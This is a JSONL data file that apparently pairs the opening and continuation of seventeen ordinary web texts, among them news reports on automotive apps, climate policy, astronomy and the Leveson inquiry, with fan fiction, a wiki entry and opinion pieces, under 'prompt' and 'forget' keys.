{"prompt": "LAS VEGAS \u2013 Ford wants to make AppLink the Android of automotive app architectures. In an unprecedented move for the auto industry, Ford is giving the system underpinning its Sync AppLink to any automaker who wants it, at no cost and with no restrictions on what they do with it. That would help automakers quickly and easily advance their infotainment systems, bring countless new developers into the automotive sector and provide consumers with more apps and options. Ford\u2019s motives aren\u2019t entirely altruistic. It wants to dominate the emerging infotainment space by leveraging the success of AppLink and Sync, much like", "forget": "Google used Android in the smartphone sector. \"We want to create the highest-volume architecture in the industry,\" Doug VanDagens, Ford\u2019s director of connected services, told Wired. \"The ease at which [developers] can develop is important to them, and we believe we\u2019re leading in tools and implementation.\" Automotive app developers find themselves in much the same position smartphone developers did a few years ago. Not long ago, Apple\u2019s iOS was the top priority, Android was just coming to the fore and everyone else was an afterthought because it was simply too big a hassle to develop a product for every OS. The automotive app space is following a similar pattern. Every automaker features a different consumer-facing platform, so developers must work with a variety of APIs and SDKs. It's annoying but doable for a massive outfit like Pandora, but damn near impossible for small developers. That\u2019s where AppLink comes in. By offering AppLink to any automaker or Tier 1 supplier (the folks who build the hardware) and providing a universal API and SDK, Ford expands an app\u2019s footprint across the industry and brings more developers into the Ford fold. \"It\u2019s a bold move by Ford, which may lead to faster industry adoption of in-vehicle applications,\" said Thilo Koslowski, an auto industry analyst at Gartner. \"But it also underlines the challenge for automakers to attract application developers. No developer can afford to do custom work for every automaker.\" The fly in the ointment is the fact many automakers have invested great time and money developing their own app platforms. They want to control and maintain their own ecosystem, just like Google, Apple and Microsoft. A General Motors exec, requesting anonymity to speak frankly about Ford\u2019s plan, said adopting AppLink would be immensely risky because of the resulting loss of control. \"Will we"}
{"prompt": "A/N: Two posts this week! Because if I ever want to finish this generation before college starts up next fall, I have to start posting more. But hey, at least I\u2019m out of school now! Hopefully that means I can keep the posts coming. Enjoy \ud83d\ude42 I just wanted to go home. And in the heat of the moment, that was the first place my mind turned to. But it wasn\u2019t a bad place to go. Dad and Mackenzie were here, and so were the unicorns. They could heal us. With a flash of light, Vox and I appeared in", "forget": "the corner of the living room. He appeared to have lost consciousness again during the teleport. Either that or he was\u2026 \u201cDad! Come here!\u201d I whipped my head around and found Mackenzie standing in the doorway. \u201cMac!\u201d I squealed. Carefully setting Vox aside, I jumped up and ran to hug her. \u201cI missed you.\u201d \u201cIs this real life right now?\u201d she laughed. \u201cI can\u2019t believe you\u2019re actually back \u2013 wait, who\u2019s he?\u201d We broke apart as she stared at Vox. Her expression wasn\u2019t exactly approving. \u201cThere\u2019s a lot to explain,\u201d I said truthfully. More than you could ever imagine\u2026 \u201cWhat is it, honey?\u201d A tired voice spoke from the door. Dad. Stubble covered his face now and black rings surrounded his eyes. His clothes, though dressy, were wrinkled and a small red stain sat on his left sleeve. His gaze skimmed over the room and finally rested on Vox. He silently thought-spoke to the unicorns, then said to Mackenzie, \u201cGet him in a bed so the unicorns can take a look.\u201d And then he noticed me. \u201cKarissa?\u201d he gasped hoarsely. \u201cWhere have you been? I-\u201d He glanced back at Vox, looking thoroughly perplexed. \u201cLong story, dad.\u201d As I spoke, the click of heels against the wood floor alerted me to Lily\u2019s presence. I heard her stop short and gasp, then smiled as she yanked me and dad into a group hug. \u201cI told you not to give up hope,\u201d she chided. \u201cI knew Karissa would come back to us safe and sound.\u201d \u201cHmph,\u201d dad grunted. He rested his head on top of mine, and I had the sneaking suspicion he was grinning. After promising at least a million times that I would explain everything after dinner and a quick change of clothes, I headed upstairs to check on Vox. As"}
{"prompt": "Anyone who has ever been near a dairy knows that cows can be smelly beasts: they fart and poop constantly, filling the air for miles with the acrid scent of their bowels. For anyone who may find that aroma repulsive, California is on the case. California Gov. Jerry Brown this week signed into law a bill that would place limitations on emissions of greenhouse gasses like methane and black carbon. Those types of gasses, known collectively as super pollutants, have some of the biggest impacts on global warming but remain in the atmosphere for a much shorter period of time", "forget": "than carbon-dioxide (CO2). The new California law requires the state to approve and begin implementing a strategy to cut super pollutant emissions from dairy, livestock, organic waste and landfills. They must reach a goal that includes a cut of methane emissions by 40 percent, hydrofluorocarbon gases by 40 percent and anthropogenic black carbon by 50 percent below 2013 levels by 2020. Cow farts, for their part, are rich in methane. \u201cCutting black carbon and other super pollutants is the critical next step in our program to combat climate change,\u201d Brown said Monday in a statement after signing the law. \u201cThis bill curbs these dangerous pollutants and thereby protects public health and slows climate change.\u201d Hydrofluorocarbons (HFCs) are used in refrigeration and air conditioning and began being used to replace ozone destroying chlorofluorocarbons. Black carbon is created when fossil fuels aren\u2019t burnt completely \u2014 it's basically soot. Methane comes from a variety of organic sources, including living animals and landfills. The three gasses have varying levels of potency and lifespans. Methane is roughly 30 times better at trapping heat than CO2 and stays in the atmosphere for an average of roughly 20 years. HFCs are 3,830 times more potent than CO2 and have a 14 year lifetime. Black carbon stays in the atmosphere for just weeks and is very potent, though it has a variable potency. Removing just one ton of diesel black carbon from the atmosphere, Brown\u2019s office said, is equivalent to taking out 1,000 to 2,000 tons of CO2. \u201cThe policies that California is implementing, if achieved worldwide, would cut the expected rate of global warming in half by 2050, save millions of lives, avoid millions of tons of crop losses per year and slow dangerous climate feedbacks such as melting ice caps and rising sea levels,\" Dr. Veerabhadran"}
{"prompt": "The principal of St Hilda's High School (a school affiliated with the Anglican Church) revoked the appointment of its head girl. The reason given is that the student is a Jehovah's Witness, and based on her religious beliefs, she would be unwilling to fulfil the responsibilities required by a head girl. This Christian denomination believes that world power and political parties are the unwitting allies of Satan. They refuse to salute flags of nations and perform military service. The head girl would be in breach of her religion if she participated in any civic duties required by the school. Would", "forget": "she forsake her religion? Highly unlikely. Jehovah's Witnesses don't take kindly to apostates. If she refuses, the school has every right to rescind her appointment. This is not religious discrimination. It is simply the school's rational attempt to appoint someone best equipped and qualified to fulfil the normal functions of a head girl. If the religion of the appointee prohibits these functions, the appointee automatically disqualifies herself. serious questions Shouldn't children have the right to choose their own religion, or not choosing a religion? Are children indoctrinated by their parents or society, or even victimised by their ignorance? Children of Jehovah's Witness parents, or any other faith or denomination, never volunteered to be of that faith. They were born into it. They had no choice. Furthermore, is the faith of their birth, the one true faith, all the others being false, or was it an accident of birth? Shouldn't they decide if they wish to revoke all religious faiths? Tragically, religion and, particularly, the Jehovah's Witness, may close the door to future opportunities, not only for self improvement of the believer, but also to make valuable contributions to other people's lives. The Jehovah's Witness prohibits blood transfusions. How would you feel if your loved one might possibly be alive had a blood transfusion been given? Which brings me to the subject of religious upbringing and education of young children. Parents do have the right to raise their children the way they see fit. That's the core of family values. At the same time, parents don't literally own their children (like slave owners once owned slaves), but are more like their guardians and ought to be held accountable by outsiders. Outsiders have a right to interfere if the parents do harm to their children. Similarly, some might say no prospective parent"}
{"prompt": "From nowhere, they appear as a sudden surge of power in the radio spectrum. Then, a few milliseconds later, they're gone\u2014and as far as we could tell, they never come back. They've picked up the name \"fast radio bursts,\" but nobody's entirely sure of what produces them. Follow-up observations have generally failed to find anything interesting in their direction, and the bursts didn't seem to repeat, leaving everyone who cares about these sorts of things a bit mystified. One possible explanation for their one-time-only appearance would be that they're the product of a process that destroys the object that creates", "forget": "them. Thus, if they were produced by the collapse of a neutron star into a black hole (to give just one example), there'd be no way for that to happen twice. But a new study suggests that at least one of them has repeated, which would take cataclysmic explanations off the table. There are enough differences between this burst and previously observed ones, however, to raise the question of whether there might be several processes producing similar surges in radio emissions. The burst in question (which goes by FRB 121102) was identified using the Arecibo Observatory in Puerto Rico. There was nothing especially unusual about it, but the authors scheduled it for follow-up observations. Some of these turned up nothing. But others turned up several bursts, sometimes within hours of each other. All told, they saw 10 additional bursts (FRB 121102 goes to 11!) over the course of two months. These had different brightnesses, and different intensity peaks showed up at different wavelengths, suggesting a somewhat chaotic process. Looking through the timing data, the authors found no indication of a periodic process, which makes some sort of orbital behavior unlikely; the quick repetition in some cases also makes an orbital phenomenon unlikely. And, as the authors put it, \"Repeat bursts rule out models involving cataclysmic events.\" So what is still on the table? Neutron stars with intense magnetic fields, called magnetars, can create giant flares. But none of the ones we know about have produced more than a single flare. The authors suspect it might be a pulsar\u2014a rapidly rotating neutron star\u2014where sporadically, one of the normal pulses is greatly amplified. This sort of behavior has been seen in at least some neutron stars in our galaxy. Confusing matters further is the question of whether FRB 121102 is a typical"}
{"prompt": "VR took another big Jump forward (sorry, had to) with their announcement at Google IO yesterday. The Jump platform promises to completely reshape the VR content production landscape, from capture to display. Understanding how and why requires really grokking Jump itself. So based on screenshots and published specs, we\u2019ll do our best. First, Jump is a physical platform. It\u2019s a GoPro array, like you might get from 360 Heroes or any one of a dozen other GoPro-holder companies. Google VP of Product Management and head of VR/AR Clay Bavor claimed the rig works with \u2018off the shelf cameras,\u2019 and the", "forget": "presentation implied it was camera agnostic, but practically speaking it\u2019s a GoPro rig. Google isn\u2019t selling it, but they are releasing the CAD drawings so anyone can manufacture them. Here\u2019s a rendering, but they also had photos, so this isn\u2019t vaporware: And yes, they even made one out of cardboard ($8,000 worth of camera and 8 cents worth of cardboard, like a Ferrari engine in, well, a car like mine). But before you go start a company manufacturing these things, know that GoPro is also going to sell this Jump array, supposedly by \u2018this summer.\u2019 GoPro has been pretty good at hitting published delivery dates, if not speculated ones, so this is probably accurate. But you can still make your own if you want it in a different color, say, or a different material. I can almost guarantee there will be a half-dozen carbon fiber versions available right away, for example, and plastic ones will be on Alibaba pretty much instantly. Just keep in mind: any rig probably has to be built to tight tolerances, because the camera positions are important. See below, where we discuss \u2018calibrated camera arrays.\u2019 At first glance, the rig is a little bigger than equivalent GoPro holders. It holds 16 cameras, and there are no up-facing or down-facing cameras at all. Based on the GoPro 4 Black\u2019s specs, the rig captures a full 360 laterally, but just over 120 degrees vertically. So it will be missing about 30 degrees around each pole, directly above your head and at your feet. (Probably not a big deal, I think \u2014 but maybe a small differentiator for one of the existing companies? Like Mao\u2019s Great Leap, Google\u2019s is going to create a few casualties.) Also, Jump is arranged like a mono rig, where each camera is pointed in"}
{"prompt": "Abstract Early warning signals of the coronary heart disease (CHD) risk of sugar (sucrose) emerged in the 1950s. We examined Sugar Research Foundation (SRF) internal documents, historical reports, and statements relevant to early debates about the dietary causes of CHD and assembled findings chronologically into a narrative case study. The SRF sponsored its first CHD research project in 1965, a literature review published in the New England Journal of Medicine, which singled out fat and cholesterol as the dietary causes of CHD and downplayed evidence that sucrose consumption was also a risk factor. The SRF set the review\u2019s objective, contributed", "forget": "articles for inclusion, and received drafts. The SRF\u2019s funding and role was not disclosed. Together with other recent analyses of sugar industry documents, our findings suggest the industry sponsored a research program in the 1960s and 1970s that successfully cast doubt about the hazards of sucrose while promoting fat as the dietary culprit in CHD. Policymaking committees should consider giving less weight to food industry\u2013funded studies and include mechanistic and animal studies as well as studies appraising the effect of added sugars on multiple CHD biomarkers and disease development. Introduction In the 1950s, disproportionately high rates of coronary heart disease (CHD) mortality in American men led to studies of the role of dietary factors, including cholesterol, phytosterols, excessive calories, amino acids, fats, carbohydrates, vitamins, and minerals in influencing CHD risk.1 By the 1960s, 2 prominent physiologists were championing divergent causal hypotheses of CHD2,3: John Yudkin identified added sugars as the primary agent, while Ancel Keys identified total fat, saturated fat, and dietary cholesterol. However, by the 1980s, few scientists believed that added sugars played a significant role in CHD, and the first 1980 Dietary Guidelines for Americans4 focused on reducing total fat, saturated fat, and dietary cholesterol for CHD prevention. Although the contribution of dietary sugars to CHD is still debated, what is clear is that the sugar industry, led by the Sugar Association, the sucrose industry\u2019s Washington, DC\u2013based trade association,5 steadfastly denies that there is a relationship between added sugar consumption and CVD risk.6,7 This Special Communication uses internal sugar industry documents to describe how the industry sought to influence the scientific debate over the dietary causes of CHD in the 1950s and 1960s, a debate still reverberating in 2016. Methods The Sugar Association evolved from the Sugar Research Foundation (SRF), founded in 1943.8 We located correspondence between the"}
{"prompt": "Bills coach Rex Ryan joins NFL Insiders and praises the character of DE Mario Williams, stating that he would like to have him back in Buffalo next season. (0:51) After questioning in December the logic of taking a pay cut from his $19.9 million cap number next season, defensive end Mario Williams has changed his tone on the issue. On Wednesday, he told ESPN NFL Insider Josina Anderson that \"it's bigger than just the numbers\" and he would be open to listening to the Buffalo Bills about reducing his pay. The Bills have the NFL's tightest salary-cap situation this offseason.", "forget": "\"I would love to have him back, but we'll see how realistic that is,\" coach Rex Ryan said Wednesday. The Associated Press reported in December, citing a person with direct knowledge of discussions, that the Bills would release Williams this offseason. The Bills can save $12.9 million by releasing him. \"Yeah, I mean, it all depends on what is happening,\" Williams told Anderson. \"My thing is this: Obviously, I've had big contracts, but once you get on a team and you get around the guys, it becomes family. The guys on defense, we laugh and talk about anything. We do a bunch of stuff together, and off the field, obviously. It's bigger than just numbers. \"But at the same time, as far as what you said about [a pay cut] being feasible, a [salary-cap] crunch is a crunch. Obviously there's two great players on the other side of the ball [pending free-agent left tackle Cordy Glenn and left guard Richie Incognito] that need to be back. Like you said, I'm not an accountant, either. I don't even know how you can go about making it where it makes at least some type of sense. \"That's not what I do, so that's why I don't even worry about it.\" Mario Williams says he's willing to listen to the Bills about taking a pay cut to stay and is willing to meeting coaches halfway about his role in the defense. Stephen Pond/Getty Images Williams, who is entering the fifth year of a six-year, $100 million deal he signed in 2012, has the second-highest cap number of any NFL defensive player next season. While the NFL has yet to determine its 2016 salary cap, ESPN Stats & Information projects the Bills to be about $1 million over their projected salary cap, making them"}
{"prompt": "From WikiFur, the furry encyclopedia. Foxy Flavored Cookie Author(s) Thomas Evans Website Update schedule Updates Mondays and Fridays Launch date June 6, 2010 End Date Ongoing Genre Comedy, Adventure, Romance Rating(s) Foxy Flavored Cookie is a webcomic created by Thomas Evans (alternatively known as The Baker). The series centers around Pucho, a boy who was turned into an anthromorphic culpeo fox and lost his memory. All strips are drawn using PaintTool SAI. Because of this, all strips that are drawn are of high quality, clear, and easy to read. The comic is hosted by Comic Fury. Synopsis [ edit ]", "forget": "Foxy Flavored Cookie centers around a boy who is bitten by a pure lycan, causing him to become two-thirds lycan, and lose his memory. He is then found by a land scout, by the name Hos (pervy) and an insect biologist named Pituka. However, Pervy forgets to ask his name, so they name him after a box of cigarettes found in his pocket- Pucho. They take Pucho to an underground city named Paws Den, where he has to adapt to his new life. Cast [ edit ] Main characters [ edit ] Pucho: a rather clumsy, but good-natured and outgoing character. He once had a life as a gypsy traveling in a caravan. He is rather talented at playing the violin, and exceptionally good at cooking. These are two skills that transfered over after he lost his memory. Every once in a while, when the need arises, he can spontainously, and impulsively, summon supernatural strength and powers. This is demonstrated in many areas, but it is implied that he has no control over this abillity. Pucho Shows romantic interest in Pituka. Pituka: Pituka is not far from a female Pucho counterpart. She is rather smart, as she is an insect biologist, however she is just as good-natured and outgoing as Pucho. Her home is filled with many kinds of insects, with her favorite being Huggie, a lycan sized spider. She shows romantic interest in Pucho. Pervy: Pervy is a lycan that fits his name. He is very risque, but can be very comical at times. His biggest romantic interest is Nelly. Pervy often tries to perve (not intended) on Nelly, but this usually doesn't end well for him. Most of the time, he ends up getting hit with a wrench, thrown out windows, and everything in between. Nelly: Nelly is"}
{"prompt": "Each Monday, Chris Livingston visits an early access game and reports back with stories about whatever he finds inside. This week, space station simulation in Spacebase DF-9. It\u2019s been a rough week for my little space station. We were boarded by a squad of Kill Bots who, as you might expect, tried to kill all non-bots. A massive fire in the life support chamber nearly knocked out the oxygen supply. Now, an alien parasite has appeared, and even though my security chief easily killed it, I\u2019m left to wonder how the bug even got aboard. Perhaps it burrowed in through", "forget": "that hole in the hull? The one my security chief was just sucked out of to his death? That\u2019s probably how. In Spacebase DF-9, the early-access space station simulation from Double Fine Productions, your first task is to select which portion of the galaxy you\u2019d like your spacemen to die horribly in. A spot near a Warpgate sounds ideal, because you\u2019ll have more visitors, but visitors are often hostile. A spot with a lot of asteroids means you can do a lot of mining, but also means frequent meteor strikes. There are benefits to living in an area with a high frequency of derelict spaceships, but there is also a downside, as anyone who has seen a few sci-fi movies can tell you. After a few hundred thousand years of travel, my pod arrives in my chosen sector and my three astronauts set to work building their new home. I\u2019m not much of a designer, so I just build a giant room and throw some oxygen machines in the corner, figuring I\u2019ll just line the walls with whatever else I need. I soon learn, however, that each room needs to be dedicated to a single purpose: beds can only go in residence rooms, oxygen recyclers can only go in life support rooms, and so forth. Even worse, my room is so large I\u2019ve used almost all the materials on hand to build it. Right off the bat, my little astronauts have exhausted their supplies. I quickly realize I\u2019ve created a major problem for myself. I\u2019ve been mining a nearby asteroid for building materials, but I need a refiner to convert the asteroid hunks into matter to build with. I don\u2019t have enough matter to build the refiner itself, which means I\u2019ll need to cannibalize something I\u2019ve already built and use"}
{"prompt": "The mother of Hugh Grant's daughter received a barrage of threatening phone calls while the actor was appearing on Question Time to talk about the closure of the News of the World, the lawyer acting for victims of alleged press intrusion has claimed at the Leveson inquiry. David Sherborne, who represents the woman as well as speaking on behalf of 51 alleged victims of press intrusion at the Leveson inquiry, told the high court she was too stressed at the time to call the police. Sherborne said that \"Whilst Mr Grant was appearing on Question Time, discussing the closure of", "forget": "the NoW, Rupert Murdoch and press standards generally, she received a barrage of telephone calls from a withheld number from someone who managed to get it from somewhere, and when they finally answered she was threatened in the most menacing terms, which should reverberate around this inquiry: 'Tell Hugh Grant he must shut the fuck up'. Unsurprisingly she was too stressed to call the police.\" The barrister also claimed that Tinglan Hong's mother was almost run over by paparazzi in the weeks after Grant became one of the most prominent critics of News International. He told Lord Justice Leveson that the incidents had been reported to the Metropolitan police on the third day of the judicial inquiry into phone hacking and media standards on Wednesday. Near the end of a lengthy diatribe against tabloid press ethics and behaviour, the lawyer said he had secured an emergency injunction on behalf of the mother of Hugh Grant's child. Sherborne claimed the real reason for her injunction is that she has received threats because the father of child has spoken out against the press. Grant appeared on Question Time on 7 July to discuss phone hacking. On the same day News International announced the closure the News of the World following the revelation that the paper had accessed the voicemail of murdered teenager Milly Dowler. Leveson told Sherborne he had presented one side of alleged press intrusion \"very graphically\" and he wanted to be satisfied he has a full picture of the incidents the QC made claims about. Sherborne also told the inquiry that the parents of Madeleine McCann \"begged for restraint\" from blatant intrusion into their private lives by the News of the World. He claimed that the now-defunct tabloid newspaper published Kate McCann's private letters to her missing daughter without consent"}
{"prompt": "By modeling a circuit board on the human brain, Stanford bioengineers have developed microchips that are 9,000 times faster than a typical PC. Called Neurogrid, these energy-efficient circuits could eventually power autonomous robots and advanced prosthetic limbs. Bioengineers are smart to take inspiration from the human brain. It's a highly efficient information processor capable of crunching 100 million instructions per second (MIPS). Astoundingly, it only uses about 20 watts to power its 100 billion neurons. Today, our best supercomputers require a million watts to simulate a million neurons in real time (measured in terraflops). A standard desktop computer requires about", "forget": "40,000 times more power to run and operates about 9,000 times slower. Advertisement The goal, therefore, is to produce information technologies with the power of the human brain. There are several initiatives underway that are working to achieve this goal, including IBM's neurosynaptic chips (and accompanying programming language), the University of Heidelberg's HICANN Chip, and brain-mapping initiatives like the European Human Brain Project. We can now add another project to the list: Stanford's Neurogrid. But unlike other current efforts, this \"neuromorphic\" system boasts some incredible energy-saving features. An Analog State of Mind The new circuit board, developed by Kwabena Boahen and his colleagues at Stanford, consists of 16 custom-designed \"Neurocore\" chips working in a tree network configuration. Each of the 16 Neurocores supports 65,536 neurons. Together, these chips can simulate one million neurons and billions of synaptic connections. And incredibly, Neurocore needs just three watts of power to get the job done. The designers used traditional transistors, but instead of using digital logic, they used them as analog circuits. To mimic the functions of the human brain (albeit on a drastically reduced scale), the researchers emulated all neural elements (except the soma) with shared electronic circuits \u2014 a design decision that maximized the number of synaptic connections. To maximize energy efficiency, the researchers used analog circuits. And to maximize throughput, they interconnected the neural arrays in a tree network. Advertisement It's considered the most cost-effective way to simulate neurons. But at $40,000 a piece, the researchers are going to have to figure out a way to drive the costs down. Miniaturization, Autonomy, Power Ramped-up and refined versions of this technology could be put to good use. In addition to improving our understanding of how the human brain works, it could be used to interpret signals from the brain and, in"}
{"prompt": "There is a thought I have been mulling over about romantic relationships as well as what sort of audience I would like to reach with this site. How can we create the relationships we desire? We all know people in clearly unhealthy and dysfunctional relationships, what are the things they are doing that make them dysfunctional? And conversely when we look at an example of a healthy relationship, what are they doing to continue their success? I believe the secret to successful interpersonal relationships has to do with actively creating the interaction together. In this article I would like to", "forget": "take you on an adventure of consciousness, and give you some activities to try with your partner. These do not have to be done with a romantic partner by any means. Anyone who is willing to take a moment to practice raising their awareness in their interaction with you is a perfect participant for these exercises. Often people express their displeasure with their relationships to me. And I notice a few recurring themes: Boredom, resentment, distrust, immature communication. incongruities in the verbal vs. behavior and jealousy, to name a few. I find that often people are not mindful of the types of interactions they want to have with others, and have a laissez faire sort of approach to the relationships that are formed. And while spontaneous connections with incredible people who mirror your goals and values do happen I find people surround themselves with people they are close to in proximity more than similar interests or ideals. I theorize that the trouble begins at the inception of an interaction, this sort of falling into the company of whatever rift raft happens to be around. An example being those who take people home from the bar and then seem shocked that the person drinks heavily and enjoys an active social life picking up people in bars. That would be akin to bringing an opossum home and lamenting that he does not act like a cat. It is ludicrous to ask an opossum to behave like a cat, he cannot be other than what he is. By and large people seem to like those who express interest in them, and begin spending large amounts of time with the interested parties because \u201cWhy not?\u201d This is a very passive way to interact I believe, and I think will often lead to incongruity in"}
{"prompt": "With the news of longtime Springfield music store, CD Warehouse, we got to thinking about the other closed businesses in town that we miss. There are so many great Springfield businesses that were important to the people who live here, just like CD Warehouse was to lots of music lovers in town. It\u2019s been a fun trip down memory lane to recall the places we used to hang out, shop, do business and enjoy in the Queen City. Here are 50 businesses we really miss. Please let us know which business you miss most in the comments on Facebook! Note:", "forget": "A huge shoutout to the folks in the Love My Ozarks Facebook group for providing so many great ideas for this article! Red\u2019s was a staple of Route 66 for many years. It\u2019s also credited as being the first drive-through restaurant in the United States. It was a little before our time as a company, but we still wish it were still around! It looked so cool and we\u2019ve heard the food was great. Dillon\u2019s In 2014, Dillon\u2019s announced the closing of all of its Springfield stores. The grocery chain was a long time provider of foodstuffs to Springfield residents. Most of the Dillon\u2019s location were purchased by Price Cutter after the closing. Cowboys 2000 This night club was the home to many a honky tonks throughout the 1990s and into the 21st century as well. Lots of big name performers came through town to play at this club. It closed its doors for good in 2007, but people associated with the club have opened a new country-themed spot called Club Rodeo on Bennett. Merle\u2019s Downtown Hotdoggery Merle\u2019s Hot Dog Emporium was a favorite spot of downtowners for many years. It was located on Walnut Street between the Mudlounge and what is now the Hotel Vandivort. Merle\u2019s was known for its speedy and friendly service and its tasty hotdogs and hamburgers. The Ozark Mountain Ducks Baseball Team From 1998 to 2003, the Ozark Mountain Ducks played in the Central Baseball league from their stadium in Ozark, Price Cutter Park. The Central Baseball league shut down in 2005, but the Ducks left in 2003 to join the Frontier League. Once the Springfield Cardinals came to town the next year, the team folded. TAG SGF This magazine/radio/podcast/website was a great celebration of Springfield\u2019s culture for a five year stretch, ending in 2014."}
{"prompt": "NUSA DUA, Indonesia, Dec. 15 -- Organizers of the international climate conference here presented an open-ended compromise proposal to delegates from 190 nations early Saturday in hopes of bridging disagreements over how to begin negotiating a new treaty to combat global warming. The compromise was unveiled after nearly all-night negotiations over the stubborn differences between the United States and much of the world and between industrialized and developing nations. In an effort to break the deadlock, U.N. Secretary General Ban Ki-moon and Indonesian President Susilo Bambang Yudhoyono urged delegates to come to a resolution quickly. \"Frankly, I am disappointed with", "forget": "the lack of progress, Ban told the delegates. \"Seize the moment, this moment, for the good of all humanity.\" Both men received a standing ovation. In a bid to address U.S. objections to setting specific targets for reducing greenhouse gas emissions in the treaty talks, the compromise proposal referred only in a footnote to the short-term emissions cuts European leaders had demanded. In addition, the compromise framework would call on developing countries to take verifiable steps in their own countries to reduce global warming pollution, but would not compel them to join a mandatory international agreement that would take effect in 2012, as some industrialized countries had wanted. David Doniger, climate policy director for the advocacy group Natural Resources Defense Council, said that if the delegates approved the deal Saturday as expected, it would be \"the start of the world's last chance to pull off a treaty to stave off the worst effects of global warming.\" For the past week, the United States and the European Union had faced off over whether industrialized countries should pledge to cut their emissions 25 to 40 percent by 2020, with European leaders threatening to boycott the parallel climate negotiations that President Bush launched in Washington unless the United States acquiesced. In order to break the impasse, the document referred to that goal, which is outlined in this year's reports by the U.N. Intergovernmental Panel on Climate Change, only in a footnote that speaks to the \"urgency\" of addressing climate change. \"It's a weakened document, you cannot deny that,\" said Hans Verolme, who directs the climate change program for the World Wildlife Fund, a conservation group. \"I don't know how you can footnote the Nobel Prize-winning IPCC. We were stunned by that,\" he added, referring to the U.N. panel that, along with former vice"}
{"prompt": "As federal authorities continue to investigate Anthony Weiner's sexually charged online chats with an underage girl, DailyMail.com has learned that a grand jury could hear the case against the ex-congressman as soon as the end of the month. The FBI, the New York Police Department, and US attorneys in New York and North Carolina opened investigations into Weiner's conduct in late September, after DailyMail.com reported that the former politician carried on a months-long online relationship with a 15-year-old high school girl. Weiner has already been hit with a federal subpoena for his cell phone, CNN reported last month. The feds", "forget": "are apparently looking to move quickly - a federal grand jury is expected to hear allegations against Weiner in the next few weeks, sources tell DailyMail.com. A federal grand jury is expected to hear allegations against disgraced Anthony Weiner in the next few weeks, sources tell DailyMail.com The DailyMail.com first reported on Weiner's conversations with the 15-year-old girl (pictured), who he traded photos and sexy messages with for several months starting in January In the messages, which were obtained by the Dailymail.com, Weiner repeatedly complimented the girl's body, told her that she made him 'hard' The timing of the potential hearing - shortly before the US presidential election - could cause a political headache for Hillary Clinton, whose top aide Huma Abedin is still officially married to Weiner, 52. Abedin announced in August that she was separating from Weiner, after he was caught sending a suggestive photo of himself to another woman with his four-year-old son in the background. Abedin and Weiner continue to share an apartment, and Clinton's political opponents have sought to tie the presidential candidate to the scandal-plagued former congressman. After DailyMail.com reported on Weiner's conversations with the 15-year-old girl, Donald Trump called on Clinton to return any campaign donations from Weiner. Legal experts say there are several possible avenues prosecutors might pursue if they are looking to build a case against Weiner under either New York State or federal laws. Celebrity lawyer Joe Tacopina told DailyMail.com that Weiner could potentially face a misdemeanour of endangering the welfare of a child, which could carry up to a year in jail. Hillary Clinton's top aide, Huma Abedin (pictured on October 15 with her son), is still officially married to Weiner, 52 Abedin announced in August that she was separating from Weiner, though they continue to share an apartment"}
{"prompt": "Both top brass and regular servicemembers express opposition to US involvement Paul Joseph Watson Infowars.com September 2, 2013 The military revolt against the Obama administration\u2019s plan to launch a potentially disastrous attack on Syria is gathering pace, with both top brass and regular servicemembers expressing their vehement opposition to the United States becoming entangled in the conflict. The backlash began to spread on social media yesterday with numerous members of the military posting photos of themselves holding up signs stating that they would refuse to fight on the same side as Al-Qaeda in Syria. The photos went viral, with one", "forget": "post alone generating over 16,000 shares on Facebook. Others have posted their photos on Twitter alongside the hashtag #IdidntJoin. As the Obama administration prepares to present a draft resolution to lawmakers that is by no means \u201climited\u201d in its scope and would in fact grease the skids for an open ended war, John Kerry and other State Department officials have signaled that Obama will simply ignore Congress if they vote no and launch the assault anyway. This will do little to reassure a growing number of influential figures in the US military who are becoming increasingly recalcitrant about the United States becoming embroiled in yet another war in the Middle East. The Washington Post reports that, \u201cThe Obama administration\u2019s plan to launch a military strike against Syria is being received with serious reservations by many in the U.S. military, which is coping with the scars of two lengthy wars and a rapidly contracting budget, according to current and former officers.\u201d Republican Congressman Justin Amash also took to Twitter to state, \u201cI\u2019ve been hearing a lot from members of our Armed Forces. The message I consistently hear: Please vote no on military action against Syria.\u201d Amash\u2019s statement was followed by a series of tweets from military veterans who also expressed their opposition to the attack. Business Insider\u2019s Paul Szoldra also spoke to \u201csources who are either veterans or currently on active duty in the military,\u201d and asked them if they supported military escalation in Syria. \u201cMost have responded with a resounding no,\u201d writes Szoldra. He quotes an active duty First Class Sergeant who states, \u201cWe are stretched thin, tired, and broke,\u201d adding that the United States \u201c(does not) need to be World Police.\u201d \u201cOur involvement in Syria is so dangerous on so many levels, and the 21st century American vet is"}
{"prompt": "Just over a decade ago, the state of California faced serious concerns about whether its utilities could generate and/or buy enough power to assure that the world's seventh-largest economy could keep the lights on. The infamous California energy crisis, which affected several other western states as well, was a complex tangle of poorly structured deregulation, significant market manipulation (remember Enron?), and other causes. Along with rolling blackouts, California endured an official state of emergency that lasted 34 months, led to the recall and replacement of Gov. Gray Davis, and cost the state and its ratepayers billions of dollars - a", "forget": "cautionary tale for all states of electricity supply unable to meet demand. Fast-forward to the early spring of 2014. The California Independent System Operator (CAISO), due in part to an unexpected abundance of solar generation in what was supposed to be the rainy season, had to institute curtailments of wind and solar power coming into the grid on four separate occasions. In one instance, more than a gigawatt of combined wind and solar power was curtailed, a condition that the grid operator calls over-generation or \"overgen.\" \"In the past, who would have even thought of the concept of overgen?\" says Tom Doughty, CAISO's director of regulatory strategy. \"But it's a harbinger of what's to come.\" Without changes in planning and technology, Doughty says, CAISO's current projections note that a 40 percent share of the state's power from renewables in 2024 (on the way to Gov. Jerry Brown's stated goal of 50 percent by 2030) would necessitate more than 800 curtailments a year. \"We have clean energy sources producing a lot of megawatts,\" adds Doughty. \"We need somewhere to put it.\" Welcome to what could be the new normal -- and the cusp of a new energy future. \"Too much electricity\" from renewables is obviously not a widespread phenomenon (yet), but it has happened with wind power in the Pacific Northwest and Texas, causing big headaches for power marketers and grid operators. A regional reality check, however: seven U.S. states (all south of the Mason-Dixon Line) had no statistically significant generation from clean sources (excluding hydro) in 2014, and eight more had less than one percent. But let's look a little more closely at two states, California and New York, where the energy future is taking shape -- two states that are home to some 58 million people, or about 18"}
